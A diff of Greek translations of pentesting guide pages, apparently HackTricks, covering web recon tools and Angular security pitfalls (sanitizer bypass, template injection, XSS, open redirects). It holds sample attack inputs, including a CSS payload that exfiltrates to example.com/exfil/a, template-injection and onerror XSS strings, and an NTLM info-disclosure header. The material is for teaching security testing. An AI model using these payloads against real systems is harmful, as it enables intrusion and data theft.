- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Το Spider Suite είναι ένα προηγμένο multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, δρόμων, μυστικών και άλλων ενδιαφερόντων δεδομένων από τον πηγαίο κώδικα JavaScript.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Το ParaForge είναι μια απλή **επέκταση Burp Suite** για **να εξάγει τις παραμέτρους και τα endpoints** από το αίτημα για να δημιουργήσει προσαρμοσμένες λίστες λέξεων για fuzzing και αρίθμηση.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Καταπληκτικό εργαλείο για αυτό.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Υπέροχο εργαλείο για αυτό.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Εκτυπώνει κάθε σύνδεσμο που μπορεί να βρει.
|
||||
|
||||
### Brute Force directories and files
|
||||
@ -234,7 +234,7 @@ sslyze --regular <ip:port>
|
||||
Ξεκινήστε **brute-forcing** από τον ριζικό φάκελο και βεβαιωθείτε ότι θα brute-force **όλους** τους **φακέλους που βρέθηκαν** χρησιμοποιώντας **αυτή τη μέθοδο** και όλους τους φακέλους **που ανακαλύφθηκαν** από το **Spidering** (μπορείτε να κάνετε αυτό το brute-forcing **αναδρομικά** και προσθέτοντας στην αρχή της χρησιμοποιούμενης λίστας λέξεων τα ονόματα των βρεθέντων φακέλων).\
|
||||
Εργαλεία:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Συμπεριλαμβάνεται στο Kali, **παλιό** (και **αργό**) αλλά λειτουργικό. Επιτρέπει αυτόματα υπογεγραμμένα πιστοποιητικά και αναδρομική αναζήτηση. Πολύ αργό σε σύγκριση με τις άλλες επιλογές.
|
||||
- **Dirb** / **Dirbuster** - Συμπεριλαμβάνονται στο Kali, **παλιά** (και **αργή**) αλλά λειτουργική. Επιτρέπει αυτόματα υπογεγραμμένα πιστοποιητικά και αναδρομική αναζήτηση. Πολύ αργή σε σύγκριση με τις άλλες επιλογές.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Δεν επιτρέπει αυτόματα υπογεγραμμένα πιστοποιητικά αλλά** επιτρέπει αναδρομική αναζήτηση.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Επιτρέπει αυτόματα υπογεγραμμένα πιστοποιητικά, **δεν έχει** **αναδρομική** αναζήτηση.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Γρήγορο, υποστηρίζει αναδρομική αναζήτηση.**
|
||||
@ -270,7 +270,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε σπασμένους συνδέσμους μέσα σε HTML που μπορεί να είναι επιρρεπείς σε καταλήψεις.
|
||||
- **Αντίγραφα αρχείων**: Μόλις βρείτε όλα τα αρχεία, αναζητήστε αντίγραφα όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές για την ονομασία ενός αντιγράφου είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Ανακαλύψτε νέες παραμέτρους**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφές παραμέτρους. Αν μπορείτε, θα μπορούσατε να προσπαθήσετε να αναζητήσετε** κρυφές παραμέτρους σε κάθε εκτελέσιμο web αρχείο.
|
||||
- **Ανακαλύψτε νέες παραμέτρους**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφές παραμέτρους. Αν μπορείτε, θα μπορούσατε να προσπαθήσετε να αναζητήσετε** κρυφές παραμέτρους σε κάθε εκτελέσιμο αρχείο web.
|
||||
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
@ -308,11 +308,11 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, πιθανότατα είναι μια **κακώς ρυθμισμένη proxy**. **Αν στείλετε ένα HTTP αίτημα όπως: `GET https://google.com HTTP/1.1`** (με την κεφαλίδα host και άλλες κοινές κεφαλίδες), η **proxy** θα προσπαθήσει να **προσεγγίσει** _**google.com**_ **και θα έχετε βρει μια** SSRF.
|
||||
Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, είναι πιθανό να είναι μια **κακώς ρυθμισμένη proxy**. **Αν στείλετε ένα HTTP αίτημα όπως: `GET https://google.com HTTP/1.1`** (με την κεφαλίδα host και άλλες κοινές κεφαλίδες), η **proxy** θα προσπαθήσει να **προσεγγίσει** _**google.com**_ **και θα έχετε βρει μια** SSRF.
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Αν ο τρέχων server ζητάει αυθεντικοποίηση είναι **Windows** ή αν βρείτε μια είσοδο που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε μια **διαρροή πληροφοριών**.\
|
||||
Αν ο τρέχων server που ζητάει αυθεντικοποίηση είναι **Windows** ή αν βρείτε μια είσοδο που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε μια **διαρροή πληροφοριών**.\
|
||||
**Στείλτε** την **κεφαλίδα**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του πώς λειτουργεί η **NTLM αυθεντικοποίηση**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στην κεφαλίδα "WWW-Authenticate".\
|
||||
Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_".
|
||||
|
||||
|
@ -6,7 +6,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
|
||||
|
||||
* [ ] Το Angular θεωρείται ένα framework πλευράς πελάτη και δεν αναμένεται να παρέχει προστασία πλευράς διακομιστή
|
||||
* [ ] Το sourcemap για τα scripts είναι απενεργοποιημένο στη ρύθμιση του έργου
|
||||
* [ ] Η μη αξιόπιστη είσοδος χρήστη πάντα διαστρεβλώνεται ή καθαρίζεται πριν χρησιμοποιηθεί σε πρότυπα
|
||||
* [ ] Η μη αξιόπιστη είσοδος χρήστη πάντα διαμεσολαβείται ή καθαρίζεται πριν χρησιμοποιηθεί σε πρότυπα
|
||||
* [ ] Ο χρήστης δεν έχει έλεγχο πάνω σε πρότυπα πλευράς διακομιστή ή πλευράς πελάτη
|
||||
* [ ] Η μη αξιόπιστη είσοδος χρήστη καθαρίζεται χρησιμοποιώντας ένα κατάλληλο πλαίσιο ασφαλείας πριν γίνει αξιόπιστη από την εφαρμογή
|
||||
* [ ] Οι μέθοδοι `BypassSecurity*` δεν χρησιμοποιούνται με μη αξιόπιστη είσοδο
|
||||
@ -14,7 +14,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
|
||||
|
||||
## What is Angular
|
||||
|
||||
Το Angular είναι ένα **ισχυρό** και **ανοιχτού κώδικα** framework front-end που διατηρείται από την **Google**. Χρησιμοποιεί **TypeScript** για να βελτιώσει την αναγνωσιμότητα του κώδικα και την αποσφαλμάτωση. Με ισχυρούς μηχανισμούς ασφαλείας, το Angular αποτρέπει κοινές ευπάθειες πλευράς πελάτη όπως **XSS** και **ανοιχτές ανακατευθύνσεις**. Μπορεί να χρησιμοποιηθεί και στην **πλευρά του διακομιστή**, καθιστώντας τις ασφαλιστικές παραμέτρους σημαντικές από **και τις δύο πλευρές**.
|
||||
Το Angular είναι ένα **ισχυρό** και **ανοιχτού κώδικα** framework front-end που διατηρείται από την **Google**. Χρησιμοποιεί **TypeScript** για να βελτιώσει την αναγνωσιμότητα του κώδικα και την αποσφαλμάτωση. Με ισχυρούς μηχανισμούς ασφαλείας, το Angular αποτρέπει κοινές ευπάθειες πλευράς πελάτη όπως **XSS** και **ανοιχτές ανακατευθύνσεις**. Μπορεί να χρησιμοποιηθεί και στην **πλευρά του διακομιστή**, καθιστώντας τις ασφαλιστικές παρατηρήσεις σημαντικές από **και τις δύο πλευρές**.
|
||||
|
||||
## Framework architecture
|
||||
|
||||
@ -39,17 +39,17 @@ my-workspace/
|
||||
├── angular.json #provides workspace-wide and project-specific configuration defaults
|
||||
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
|
||||
```
|
||||
Σύμφωνα με την τεκμηρίωση, κάθε εφαρμογή Angular έχει τουλάχιστον ένα συστατικό, το ριζικό συστατικό (`AppComponent`) που συνδέει μια ιεραρχία συστατικών με το DOM. Κάθε συστατικό ορίζει μια κλάση που περιέχει δεδομένα και λογική της εφαρμογής, και σχετίζεται με ένα HTML template που ορίζει μια προβολή που θα εμφανίζεται σε ένα στοχευμένο περιβάλλον. Ο διακοσμητής `@Component()` αναγνωρίζει την κλάση αμέσως από κάτω του ως συστατικό και παρέχει το template και σχετικές μεταδεδομένες πληροφορίες που είναι συγκεκριμένες για το συστατικό. Το `AppComponent` ορίζεται στο αρχείο `app.component.ts`.
|
||||
Σύμφωνα με την τεκμηρίωση, κάθε εφαρμογή Angular έχει τουλάχιστον ένα συστατικό, το ριζικό συστατικό (`AppComponent`) που συνδέει μια ιεραρχία συστατικών με το DOM. Κάθε συστατικό ορίζει μια κλάση που περιέχει δεδομένα και λογική της εφαρμογής και σχετίζεται με ένα HTML template που ορίζει μια προβολή που θα εμφανίζεται σε ένα στοχευμένο περιβάλλον. Ο διακοσμητής `@Component()` αναγνωρίζει την κλάση αμέσως από κάτω του ως συστατικό και παρέχει το template και σχετικές μεταδεδομένες πληροφορίες που είναι συγκεκριμένες για το συστατικό. Το `AppComponent` ορίζεται στο αρχείο `app.component.ts`.
|
||||
|
||||
Τα Angular NgModules δηλώνουν ένα πλαίσιο μεταγλώττισης για ένα σύνολο συστατικών που είναι αφιερωμένο σε έναν τομέα εφαρμογής, μια ροή εργασίας ή ένα στενά σχετιζόμενο σύνολο δυνατοτήτων. Κάθε εφαρμογή Angular έχει ένα ριζικό module, που ονομάζεται συμβατικά `AppModule`, το οποίο παρέχει τον μηχανισμό εκκίνησης που εκκινεί την εφαρμογή. Μια εφαρμογή συνήθως περιέχει πολλά λειτουργικά modules. Το `AppModule` ορίζεται στο αρχείο `app.module.ts`.
|
||||
|
||||
Το Angular `Router` NgModule παρέχει μια υπηρεσία που σας επιτρέπει να ορίσετε μια διαδρομή πλοήγησης μεταξύ των διαφορετικών καταστάσεων εφαρμογής και ιεραρχιών προβολών στην εφαρμογή σας. Το `RouterModule` ορίζεται στο αρχείο `app-routing.module.ts`.
|
||||
|
||||
Για δεδομένα ή λογική που δεν σχετίζονται με μια συγκεκριμένη προβολή και θέλετε να μοιραστείτε μεταξύ των συστατικών, δημιουργείτε μια κλάση υπηρεσίας. Ο ορισμός μιας κλάσης υπηρεσίας προηγείται άμεσα από τον διακοσμητή `@Injectable()`. Ο διακοσμητής παρέχει τα μεταδεδομένα που επιτρέπουν σε άλλους παρόχους να εισάγονται ως εξαρτήσεις στην κλάση σας. Η εξάρτηση εισαγωγής (DI) σας επιτρέπει να διατηρείτε τις κλάσεις συστατικών σας λιτές και αποδοτικές. Δεν ανακτούν δεδομένα από τον διακομιστή, δεν επικυρώνουν την είσοδο του χρήστη, ούτε καταγράφουν απευθείας στην κονσόλα; αναθέτουν τέτοιες εργασίες σε υπηρεσίες.
|
||||
Για δεδομένα ή λογική που δεν σχετίζονται με μια συγκεκριμένη προβολή και θέλετε να μοιραστείτε μεταξύ των συστατικών, δημιουργείτε μια κλάση υπηρεσίας. Ο ορισμός μιας κλάσης υπηρεσίας προηγείται αμέσως από τον διακοσμητή `@Injectable()`. Ο διακοσμητής παρέχει τα μεταδεδομένα που επιτρέπουν σε άλλους παρόχους να εισάγονται ως εξαρτήσεις στην κλάση σας. Η εξάρτηση εισαγωγής (DI) σας επιτρέπει να διατηρείτε τις κλάσεις συστατικών σας λιτές και αποδοτικές. Δεν ανακτούν δεδομένα από τον διακομιστή, δεν επικυρώνουν την είσοδο του χρήστη ή δεν καταγράφουν απευθείας στην κονσόλα; αναθέτουν τέτοιες εργασίες σε υπηρεσίες.
|
||||
|
||||
## Ρύθμιση sourcemap
|
||||
|
||||
Το πλαίσιο Angular μεταφράζει αρχεία TypeScript σε κώδικα JavaScript ακολουθώντας τις επιλογές του `tsconfig.json` και στη συνέχεια κατασκευάζει ένα έργο με τη ρύθμιση του `angular.json`. Κοιτάζοντας το αρχείο `angular.json`, παρατηρήσαμε μια επιλογή για να ενεργοποιήσουμε ή να απενεργοποιήσουμε ένα sourcemap. Σύμφωνα με την τεκμηρίωση Angular, η προεπιλεγμένη ρύθμιση έχει ένα αρχείο sourcemap ενεργοποιημένο για τα scripts και δεν είναι κρυφό από προεπιλογή:
|
||||
Το πλαίσιο Angular μεταφράζει αρχεία TypeScript σε κώδικα JavaScript ακολουθώντας τις επιλογές του `tsconfig.json` και στη συνέχεια κατασκευάζει ένα έργο με τη ρύθμιση του `angular.json`. Κοιτάζοντας το αρχείο `angular.json`, παρατηρήσαμε μια επιλογή για να ενεργοποιήσουμε ή να απενεργοποιήσουμε ένα sourcemap. Σύμφωνα με την τεκμηρίωση του Angular, η προεπιλεγμένη ρύθμιση έχει ένα αρχείο sourcemap ενεργοποιημένο για τα scripts και δεν είναι κρυφό από προεπιλογή:
|
||||
```json
|
||||
"sourceMap": {
|
||||
"scripts": true,
|
||||
@ -58,7 +58,7 @@ my-workspace/
|
||||
"hidden": false
|
||||
}
|
||||
```
|
||||
Γενικά, τα αρχεία sourcemap χρησιμοποιούνται για σκοπούς αποσφαλμάτωσης καθώς αντιστοιχούν στα παραγόμενα αρχεία με τα αρχικά τους αρχεία. Επομένως, δεν συνιστάται η χρήση τους σε περιβάλλον παραγωγής. Εάν είναι ενεργοποιημένα τα sourcemaps, βελτιώνουν την αναγνωσιμότητα και βοηθούν στην ανάλυση αρχείων αναπαράγοντας την αρχική κατάσταση του έργου Angular. Ωστόσο, εάν είναι απενεργοποιημένα, ένας αναθεωρητής μπορεί να αναλύσει χειροκίνητα ένα συμπιεσμένο αρχείο JavaScript αναζητώντας αντιασφαλιστικά μοτίβα.
|
||||
Γενικά, τα αρχεία sourcemap χρησιμοποιούνται για σκοπούς αποσφαλμάτωσης καθώς αντιστοιχούν στα παραγόμενα αρχεία με τα αρχικά τους αρχεία. Επομένως, δεν συνιστάται η χρήση τους σε περιβάλλον παραγωγής. Εάν τα sourcemaps είναι ενεργοποιημένα, βελτιώνουν την αναγνωσιμότητα και βοηθούν στην ανάλυση αρχείων αναπαράγοντας την αρχική κατάσταση του έργου Angular. Ωστόσο, εάν είναι απενεργοποιημένα, ένας αναθεωρητής μπορεί να αναλύσει χειροκίνητα ένα συμπιεσμένο αρχείο JavaScript αναζητώντας αντιασφαλιστικά μοτίβα.
|
||||
|
||||
Επιπλέον, ένα συμπιεσμένο αρχείο JavaScript με ένα έργο Angular μπορεί να βρεθεί στα εργαλεία προγραμματιστή του προγράμματος περιήγησης → Πηγές (ή Αποσφαλμάτωσης και Πηγές) → \[id].main.js. Ανάλογα με τις ενεργοποιημένες επιλογές, αυτό το αρχείο μπορεί να περιέχει την παρακάτω γραμμή στο τέλος `//# sourceMappingURL=[id].main.js.map` ή μπορεί να μην την περιέχει, εάν η **κρυφή** επιλογή είναι ρυθμισμένη σε **true**. Παρ' όλα αυτά, εάν το sourcemap είναι απενεργοποιημένο για **scripts**, η δοκιμή γίνεται πιο περίπλοκη και δεν μπορούμε να αποκτήσουμε το αρχείο. Επιπλέον, το sourcemap μπορεί να ενεργοποιηθεί κατά την κατασκευή του έργου όπως `ng build --source-map`.
|
||||
|
||||
@ -85,7 +85,7 @@ my-workspace/
|
||||
|
||||
## Μοντέλο ασφάλειας Angular
|
||||
|
||||
Ο σχεδιασμός του Angular περιλαμβάνει την κωδικοποίηση ή την απολύμανση όλων των δεδομένων από προεπιλογή, καθιστώντας όλο και πιο δύσκολη την ανακάλυψη και εκμετάλλευση ευπαθειών XSS σε έργα Angular. Υπάρχουν δύο διακριτές περιπτώσεις για τη διαχείριση δεδομένων:
|
||||
Ο σχεδιασμός του Angular περιλαμβάνει κωδικοποίηση ή απολύμανση όλων των δεδομένων από προεπιλογή, καθιστώντας όλο και πιο δύσκολο να ανακαλυφθούν και να εκμεταλλευτούν ευπάθειες XSS σε έργα Angular. Υπάρχουν δύο διακριτές περιπτώσεις για την επεξεργασία δεδομένων:
|
||||
|
||||
1. Παρεμβολή ή `{{user_input}}` - εκτελεί κωδικοποίηση ευαίσθητη στο πλαίσιο και ερμηνεύει την είσοδο του χρήστη ως κείμενο;
|
||||
|
||||
@ -187,11 +187,11 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
|
||||
Request URL: GET example.com/exfil/a
|
||||
```
|
||||
|
||||
Ο Angular παρέχει μια μέθοδο `sanitize` για να απολυμαίνει δεδομένα πριν τα εμφανίσει σε προβολές. Αυτή η μέθοδος χρησιμοποιεί το παρεχόμενο πλαίσιο ασφαλείας και καθαρίζει την είσοδο αναλόγως. Είναι, ωστόσο, κρίσιμο να χρησιμοποιείται το σωστό πλαίσιο ασφαλείας για τα συγκεκριμένα δεδομένα και το πλαίσιο. Για παράδειγμα, η εφαρμογή ενός απολυμαντή με `SecurityContext.URL` σε περιεχόμενο HTML δεν παρέχει προστασία κατά των επικίνδυνων τιμών HTML. Σε τέτοιες περιπτώσεις, η κακή χρήση του πλαισίου ασφαλείας θα μπορούσε να οδηγήσει σε ευπάθειες XSS.
|
||||
Ο Angular παρέχει μια μέθοδο `sanitize` για να απολυμαίνει δεδομένα πριν τα εμφανίσει σε προβολές. Αυτή η μέθοδος χρησιμοποιεί το παρεχόμενο πλαίσιο ασφαλείας και καθαρίζει την είσοδο αναλόγως. Είναι, ωστόσο, κρίσιμο να χρησιμοποιείται το σωστό πλαίσιο ασφαλείας για τα συγκεκριμένα δεδομένα και το πλαίσιο. Για παράδειγμα, η εφαρμογή ενός απολυμαντή με `SecurityContext.URL` σε περιεχόμενο HTML δεν παρέχει προστασία από επικίνδυνες τιμές HTML. Σε τέτοιες περιπτώσεις, η κακή χρήση του πλαισίου ασφαλείας θα μπορούσε να οδηγήσει σε ευπάθειες XSS.
|
||||
|
||||
### Εισαγωγή HTML
|
||||
|
||||
Αυτή η ευπάθεια συμβαίνει όταν η είσοδος του χρήστη είναι δεσμευμένη σε οποιαδήποτε από τις τρεις ιδιότητες: `innerHTML`, `outerHTML`, ή `iframe` `srcdoc`. Ενώ η δέσμευση σε αυτά τα χαρακτηριστικά ερμηνεύει το HTML όπως είναι, η είσοδος απολυμαίνεται χρησιμοποιώντας `SecurityContext.HTML`. Έτσι, είναι δυνατή η εισαγωγή HTML, αλλά η διασταυρούμενη σκριπτογράφηση (XSS) δεν είναι.
|
||||
Αυτή η ευπάθεια συμβαίνει όταν η είσοδος του χρήστη δεσμεύεται σε οποιαδήποτε από τις τρεις ιδιότητες: `innerHTML`, `outerHTML`, ή `iframe` `srcdoc`. Ενώ η δέσμευση σε αυτά τα χαρακτηριστικά ερμηνεύει το HTML όπως είναι, η είσοδος απολυμαίνεται χρησιμοποιώντας `SecurityContext.HTML`. Έτσι, είναι δυνατή η εισαγωγή HTML, αλλά η διασταυρούμενη σενάριο (XSS) δεν είναι.
|
||||
|
||||
Παράδειγμα χρήσης `innerHTML`:
|
||||
```jsx
|
||||
@ -212,13 +212,13 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
```
|
||||
<div><h1>test</h1></div>
|
||||
|
||||
### Εισαγωγή προτύπων
|
||||
### Template injection
|
||||
|
||||
#### Απόδοση πλευράς πελάτη (CSR)
|
||||
#### Client-Side Rendering (CSR)
|
||||
|
||||
Το Angular εκμεταλλεύεται τα πρότυπα για να κατασκευάσει σελίδες δυναμικά. Η προσέγγιση περιλαμβάνει την περιτύλιξη εκφράσεων προτύπου για να τις αξιολογήσει το Angular μέσα σε διπλές αγκύλες (`{{}}`). Με αυτόν τον τρόπο, το πλαίσιο προσφέρει επιπλέον λειτουργικότητα. Για παράδειγμα, ένα πρότυπο όπως το `{{1+1}}` θα εμφανίζεται ως 2.
|
||||
Το Angular εκμεταλλεύεται τα templates για να κατασκευάσει σελίδες δυναμικά. Η προσέγγιση περιλαμβάνει την τοποθέτηση εκφράσεων template για να αξιολογηθούν από το Angular μέσα σε διπλές αγκύλες (`{{}}`). Με αυτόν τον τρόπο, το framework προσφέρει επιπλέον λειτουργικότητα. Για παράδειγμα, ένα template όπως το `{{1+1}}` θα εμφανίζεται ως 2.
|
||||
|
||||
Συνήθως, το Angular διαφεύγει την είσοδο του χρήστη που μπορεί να συγχέεται με εκφράσεις προτύπου (π.χ., χαρακτήρες όπως \`< > ' " \`\`). Αυτό σημαίνει ότι απαιτούνται επιπλέον βήματα για να παρακαμφθεί αυτός ο περιορισμός, όπως η χρήση συναρτήσεων που δημιουργούν αντικείμενα συμβολοσειρών JavaScript για να αποφευχθεί η χρήση αποκλεισμένων χαρακτήρων. Ωστόσο, για να το επιτύχουμε αυτό, πρέπει να λάβουμε υπόψη το πλαίσιο του Angular, τις ιδιότητές του και τις μεταβλητές. Επομένως, μια επίθεση εισαγωγής προτύπου μπορεί να φαίνεται ως εξής:
|
||||
Συνήθως, το Angular διαφεύγει την είσοδο του χρήστη που μπορεί να συγχέεται με εκφράσεις template (π.χ., χαρακτήρες όπως \`< > ' " \`\`). Αυτό σημαίνει ότι απαιτούνται επιπλέον βήματα για να παρακαμφθεί αυτός ο περιορισμός, όπως η χρήση συναρτήσεων που δημιουργούν αντικείμενα συμβολοσειρών JavaScript για να αποφευχθεί η χρήση αποκλεισμένων χαρακτήρων. Ωστόσο, για να το επιτύχουμε αυτό, πρέπει να λάβουμε υπόψη το πλαίσιο του Angular, τις ιδιότητές του και τις μεταβλητές. Επομένως, μια επίθεση template injection μπορεί να φαίνεται ως εξής:
|
||||
```jsx
|
||||
//app.component.ts
|
||||
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
|
||||
@ -233,7 +233,7 @@ template: '<h1>title</h1>' + _userInput
|
||||
|
||||
Σε αντίθεση με το CSR, το οποίο συμβαίνει στο DOM του προγράμματος περιήγησης, το Angular Universal είναι υπεύθυνο για το SSR των αρχείων προτύπων. Αυτά τα αρχεία παραδίδονται στη συνέχεια στον χρήστη. Παρά αυτή τη διάκριση, το Angular Universal εφαρμόζει τους ίδιους μηχανισμούς απολύμανσης που χρησιμοποιούνται στο CSR για να ενισχύσει την ασφάλεια του SSR. Μια ευπάθεια εισαγωγής προτύπου στο SSR μπορεί να εντοπιστεί με τον ίδιο τρόπο όπως στο CSR, επειδή η χρησιμοποιούμενη γλώσσα προτύπων είναι η ίδια.
|
||||
|
||||
Φυσικά, υπάρχει επίσης η δυνατότητα εισαγωγής νέων ευπαθειών εισαγωγής προτύπων όταν χρησιμοποιούνται τρίτες μηχανές προτύπων όπως οι Pug και Handlebars.
|
||||
Φυσικά, υπάρχει επίσης η δυνατότητα εισαγωγής νέων ευπαθειών εισαγωγής προτύπων όταν χρησιμοποιούνται τρίτες μηχανές προτύπων όπως το Pug και το Handlebars.
|
||||
|
||||
### XSS
|
||||
|
||||
@ -292,7 +292,7 @@ document.body.appendChild(a);
|
||||
```
|
||||
#### Angular classes
|
||||
|
||||
Υπάρχουν μερικές κλάσεις που μπορούν να χρησιμοποιηθούν για εργασία με στοιχεία DOM στο Angular: `ElementRef`, `Renderer2`, `Location` και `Document`. Μια λεπτομερής περιγραφή των τελευταίων δύο κλάσεων παρέχεται στην ενότητα **Open redirects**. Η κύρια διαφορά μεταξύ των πρώτων δύο είναι ότι το API `Renderer2` παρέχει μια στρώση αφαίρεσης μεταξύ του στοιχείου DOM και του κώδικα του συστατικού, ενώ το `ElementRef` απλώς κρατά μια αναφορά στο στοιχείο. Επομένως, σύμφωνα με την τεκμηρίωση του Angular, το API `ElementRef` θα πρέπει να χρησιμοποιείται μόνο ως έσχατη λύση όταν απαιτείται άμεση πρόσβαση στο DOM.
|
||||
Υπάρχουν μερικές κλάσεις που μπορούν να χρησιμοποιηθούν για εργασία με στοιχεία DOM στο Angular: `ElementRef`, `Renderer2`, `Location` και `Document`. Μια λεπτομερής περιγραφή των τελευταίων δύο κλάσεων παρέχεται στην ενότητα **Open redirects**. Η κύρια διαφορά μεταξύ των πρώτων δύο είναι ότι το API `Renderer2` παρέχει ένα επίπεδο αφαίρεσης μεταξύ του στοιχείου DOM και του κώδικα του συστατικού, ενώ το `ElementRef` απλώς κρατά μια αναφορά στο στοιχείο. Επομένως, σύμφωνα με την τεκμηρίωση του Angular, το API `ElementRef` θα πρέπει να χρησιμοποιείται μόνο ως έσχατη λύση όταν απαιτείται άμεση πρόσβαση στο DOM.
|
||||
|
||||
* `ElementRef` περιέχει την ιδιότητα `nativeElement`, η οποία μπορεί να χρησιμοποιηθεί για να χειριστεί τα στοιχεία DOM. Ωστόσο, η ακατάλληλη χρήση του `nativeElement` μπορεί να οδηγήσει σε ευπάθεια XSS, όπως φαίνεται παρακάτω:
|
||||
|
||||
@ -377,7 +377,7 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
|
||||
|
||||
Το jQuery είναι μια γρήγορη, μικρή και πλούσια σε χαρακτηριστικά βιβλιοθήκη JavaScript που μπορεί να χρησιμοποιηθεί στο έργο Angular για να βοηθήσει με την επεξεργασία των αντικειμένων HTML DOM. Ωστόσο, όπως είναι γνωστό, οι μέθοδοι αυτής της βιβλιοθήκης μπορεί να εκμεταλλευτούν για να επιτευχθεί μια ευπάθεια XSS. Για να συζητήσουμε πώς ορισμένες ευάλωτες μέθοδοι jQuery μπορούν να εκμεταλλευτούν σε έργα Angular, προσθέσαμε αυτή την υποενότητα.
|
||||
|
||||
* Η μέθοδος `html()` αποκτά το HTML περιεχόμενο του πρώτου στοιχείου στο σύνολο των ταιριασμένων στοιχείων ή ορίζει το HTML περιεχόμενο κάθε ταιριασμένου στοιχείου. Ωστόσο, κατά σχεδίαση, οποιοσδήποτε κατασκευαστής ή μέθοδος jQuery που δέχεται μια HTML συμβολοσειρά μπορεί δυνητικά να εκτελέσει κώδικα. Αυτό μπορεί να συμβεί με την έγχυση ετικετών `<script>` ή τη χρήση HTML χαρακτηριστικών που εκτελούν κώδικα όπως φαίνεται στο παράδειγμα.
|
||||
* Η μέθοδος `html()` αποκτά το HTML περιεχόμενο του πρώτου στοιχείου στο σύνολο των ταιριασμένων στοιχείων ή ορίζει το HTML περιεχόμενο κάθε ταιριασμένου στοιχείου. Ωστόσο, κατά σχεδίαση, οποιοσδήποτε κατασκευαστής ή μέθοδος jQuery που δέχεται μια HTML συμβολοσειρά μπορεί δυνητικά να εκτελέσει κώδικα. Αυτό μπορεί να συμβεί με την εισαγωγή ετικετών `<script>` ή τη χρήση HTML χαρακτηριστικών που εκτελούν κώδικα όπως φαίνεται στο παράδειγμα.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -465,7 +465,7 @@ window.location.href = "https://google.com/about"
|
||||
<button type="button" (click)="goToUrl()">Click me!</button>
|
||||
```
|
||||
|
||||
Η διαδικασία εκμετάλλευσης είναι ταυτόσημη για τα παρακάτω σενάρια.
|
||||
Η διαδικασία εκμετάλλευσης είναι πανομοιότυπη για τα παρακάτω σενάρια.
|
||||
* `window.location.assign()`(και `document.location.assign()`)
|
||||
|
||||
Αυτή η μέθοδος προκαλεί το παράθυρο να φορτώσει και να εμφανίσει το έγγραφο στη διεύθυνση URL που καθορίζεται. Εάν έχουμε έλεγχο σε αυτή τη μέθοδο, μπορεί να είναι μια πηγή για μια επίθεση ανοιχτής ανακατεύθυνσης.
|
||||
@ -481,9 +481,9 @@ window.location.assign("https://google.com/about")
|
||||
```
|
||||
* `window.location.replace()`(και `document.location.replace()`)
|
||||
|
||||
Αυτή η μέθοδος αντικαθιστά τον τρέχοντα πόρο με αυτόν στη δεδομένη διεύθυνση URL.
|
||||
Αυτή η μέθοδος αντικαθιστά την τρέχουσα πηγή με αυτήν που βρίσκεται στη διεύθυνση URL που παρέχεται.
|
||||
|
||||
